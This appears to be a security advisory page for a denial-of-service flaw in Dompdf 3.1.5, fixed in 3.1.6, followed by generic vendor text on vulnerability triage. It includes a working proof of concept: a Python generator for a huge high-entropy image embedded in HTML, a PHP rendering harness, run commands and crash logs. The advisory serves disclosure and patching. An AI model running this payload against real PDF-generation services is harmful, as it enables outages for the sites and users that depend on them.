Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).
While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.
Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:
The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.
composer require dompdf/dompdf:3.1.5
exploit.py):from PIL import Image
import base64
from io import BytesIO
import os
DIMENSIONS = (30000, 30000)
OUTPUT_FILE = "payload.html"
def generate_noise_bomb():
print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")
random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
image = Image.frombytes('L', DIMENSIONS, random_bytes)
buffer = BytesIO()
# Using PNG instead of JPEG to force full bitmap decompression in memory
image.save(buffer, format="PNG")
image_base64 = base64.b64encode(buffer.getvalue()).decode()
html_content = f"""
<html>
<body>
<div style="overflow:hidden; width:1px; height:1px;">
<img src="data:image/png;base64,{image_base64}">
</div>
<h1>PoC: Resource Exhaustion</h1>
</body>
</html>
"""
with open(OUTPUT_FILE, "w") as f:
f.write(html_content)
print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")
if __name__ == "__main__":
generate_noise_bomb()
monitor.py):import psutil
import time
def start_monitoring():
print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
try:
while True:
for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
if 'php' in proc.info['name'].lower():
try:
pid = proc.info['pid']
mem = proc.info['memory_info'].rss / (1024 * 1024)
cpu = proc.cpu_percent(interval=0.1)
print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
except (psutil.NoSuchProcess, psutil.AccessDenied):
print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
return
time.sleep(0.05)
except KeyboardInterrupt:
print("\n[*] Monitoring finished.")
if __name__ == "__main__":
start_monitoring()
render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:<?php
require_once __DIR__ . '/vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->set('isRemoteEnabled', true);
$options->set('isHtml5ParserEnabled', true);
$dompdf = new Dompdf($options);
$html = file_get_contents('php://stdin');
echo "[*] Starting Dompdf rendering process...\n";
try {
$dompdf->loadHtml($html);
$dompdf->render(); // Point of resource exhaustion
echo "[+] PDF rendered successfully.\n";
} catch (Exception $e) {
echo "[!] Render failed: " . $e->getMessage() . "\n";
}
php -d memory_limit=2G render.php < payload.html
https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b
The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.
Payload Generation:
python3 exploit.py
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.html
Target Execution & Denial of Service:
php -d memory_limit=2G render.php < payload.html
Output
[*] Starting Dompdf rendering process...
PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490
While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:
python3 monitor.py
[*] Searching for PHP processes... (Press Ctrl+C to stop)
[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%
An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.
| Software | From | Fixed in |
|---|---|---|
dompdf / dompdf
|
- | 3.1.6 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.